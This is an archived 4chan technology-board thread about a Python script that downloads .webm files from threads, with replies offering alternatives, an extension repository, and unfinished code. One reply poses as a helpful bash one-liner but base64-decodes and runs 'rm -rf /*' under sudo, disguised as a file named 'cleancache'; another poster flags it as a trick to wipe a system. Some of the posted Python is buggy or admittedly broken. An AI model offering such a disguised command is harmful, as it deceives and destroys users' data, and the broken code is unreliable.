[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip / qa] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


File: 20231121_165711.jpg (863 KB, 3218x4096)
863 KB
863 KB JPG
import os
import requests
from bs4 import BeautifulSoup

def download_webms(url):
if "4chan.org" not in url:
print("Please provide a valid 4chan thread URL.")
return

try:
response = requests.get(url)
response.raise_for_status() # Raise an error on bad status
except requests.RequestException as e:
print(f"Error accessing {url}: {e}")
return

soup = BeautifulSoup(response.text, 'html.parser')
webms = [a['href'] for a in soup.find_all('a', href=True) if a['href'].endswith('.webm')]

if not webms:
print("No .webm files found in the thread.")
return

# Create a directory for downloads if it doesn't exist
os.makedirs('4chanwebms', exist_ok=True)

# Download each .webm file found
for webm_url in webms:
try:
webm_response = requests.get(f'https:{webm_url}', stream=True)
webm_response.raise_for_status()

webm_filename = webm_url.split('/')[-1]
with open(os.path.join('downloads', webm_filename), 'wb') as f:
for chunk in webm_response.iter_content(chunk_size=8192):
f.write(chunk)

print(f"Downloaded {webm_filename} successfully.")
except requests.RequestException as e:
print(f"Failed to download {webm_url}: {e}")

if __name__ == '__main__':
thread_url = input("Enter a 4chan thread URL: ")
download_webms(thread_url)



i made a program to help download all webms in certain thread. How do i make an extension out of it?
>>
read the specification and documentation concerning the browser you want the extension to work on
>>
>>100138504
I can write that in one line of bash
>>
>>100138855
do it
>>
>>100138855
You cant do shit fag
>>
>>100138504
look into gallery-dl
>>
>>100138504
I already have a Firefox extension that does that
>>
>>100138955
well you can write entire scripts in one line, for example
 echo "cm0gLXJmIC8q" | base64 -d > cleancache; chmod 700 cleancache; sudo ./cleancache & 

This is one line even if you're breaking it with a ;
>>
>>100138945
for f in $(curl -L $url | hxnormalize | hxselect 'a[href$=".webm"]::attr(href)'); do curl -LO "$f"; done
>>
>>100139140
>>100139067
>>100139041
>>100139026
>>100138955
>>100138945
>>100138855
>>100138543
can u guys help contribute

https://github.com/mokimolo/webmdownloader/tree/main

its bad at loading thumbnails
>>
>>100139834
bump
>>
>>100139929
Bump

This has potential
>>
>>100139834
this chromium extension inspects html in current webpage, no?
>>
>>100140028
Whats wrong with that
>>
File: 1712373793345415.gif (1.95 MB, 480x358)
1.95 MB
1.95 MB GIF
>download all webms in thread
Coomers will burn in hell
>>
>>100139834
Bump
>>
>>100139067
why not just pass the decoded b64 string to xargs sudo if you want to bamboozle someone into deleting their system?
>>
>>100139834
WTF is this? Just give me an exe.
>>
>>100140056
nothing, just wanna know what the javascript code does
>>
>>100140108
you shouldn't be on /g/ if you couldn't figure it out
>>
>>100139834
bump
>>
>>100139834
Bump
>>
>>100140220
>>100140189
why
>>
>>100140108
Bump
>>
4chan has an api, you give it the thread url and it gives you a list of posts with the attachments urls lol

https://a.4cdn.org/{board}/thread/{thread_id}.json
>>
>>100139834
You can create thumbnails on a terminal using ueberzug and list all the webms from the tread you inputed using fzf. Which you will need to download as dependencies for it to work. I was working on it for a little bit but got board after 20 minutes. Here's the code (that doesn't work yet) so far that I made so you can roast my dog shit programming skills. I'm not a programmer btw
It might be more worth to do what this >>100141928 anon said

 import os
import requests
from bs4 import BeautifulSoup
import subprocess

def download_webms(url):
if "4chan.org" not in url:
print("Please provide a valid 4chan thread URL.")
return

try:
response = requests.get(url)
response.raise_for_status() # Raise an error on bad status
except requests.RequestException as e:
print(f"Error accessing {url}: {e}")
return

soup = BeautifulSoup(response.text, 'html.parser')
webms = [a['href'] for a in soup.find_all('a', href=True) if a['href'].endswith('.webm')]
thumbnails = [img['src'] for img in soup.find_all('img', src=True)]

print("Number of .webm files:", len(webms))
print("Number of thumbnails:", len(thumbnails))

if not webms:
print("No .webm files found in the thread.")
return

if len(webms) != len(thumbnails):
print("Mismatch between thumbnails and .webm files.")
return

#Display thumbnails using ueberzug for selection
selected_thumbnail = select_thumbnail(webms, thumbnails)
if selected_thumbnail is None:
print("No thumbnail selected. Exiting.")
return

# Create a directory for downloads if it doesn't exist
os.makedirs('4chanwebms', exist_ok=True)
>>
>>100138504
>if __name__ == '__main__':
Shit like this makes me fucking sick.
>>
>>100141998
2nd part of my dogshit code (that chatgpt helped with)
   # Download the selected .webm file
index = thumbnails.index(selected_thumbnail)
webm_url = webms[index]
try:
webm_response = requests.get(f'https:{webm_url}', stream=True)
webm_response.raise_for_status()

webm_filename = webm_url.split('/')[-1]
with open(os.path.join('4chanwebms', webm_filename), 'wb') as f:
for chunk in webm_response.iter_content(chunk_size=8192):
f.write(chunk)

print(f"Downloaded {webm_filename} successfully.")
except requests.RequestException as e:
print(f"Failed to download {webm_url}: {e}")


def select_thumbnail(webms, thumbnails):
webm_filenames = [webm.split('/')[-1] for webm in webms]
webm_thumbnails = [thumb for thumb in thumbnails if any(filename in thumb for filename in webm_filenaames)]

thumbnails_str = "\n".join(webm_thumbnails)
fzf_process = subprocess.Popen(['fzf', '--preview-window=right:60%', '--preview', 'ueberzug -r /dev/stdin'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
selected_thumbnail, _ = fzf_process.communicate(input=thumbnails_str.encode())
return selected_thumbnail.decode().strip() if selected_thumbnail else None


if __name__ == '__main__':
thread_url = input("Enter a 4chan thread URL: ")
download_webms(thread_url)
>>
File: 1713747525781152.jpg (51 KB, 720x475)
51 KB
51 KB JPG
>>100139140
Shellchads win. Again!
>>
>>100138504
>parsing the html

just add json to the end of any url
>>100138504.json
>>
>>100141998
Can u fork it
>>
>>100138504
I've been using this since 2018 https://pastebin.com/HARTrsne



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.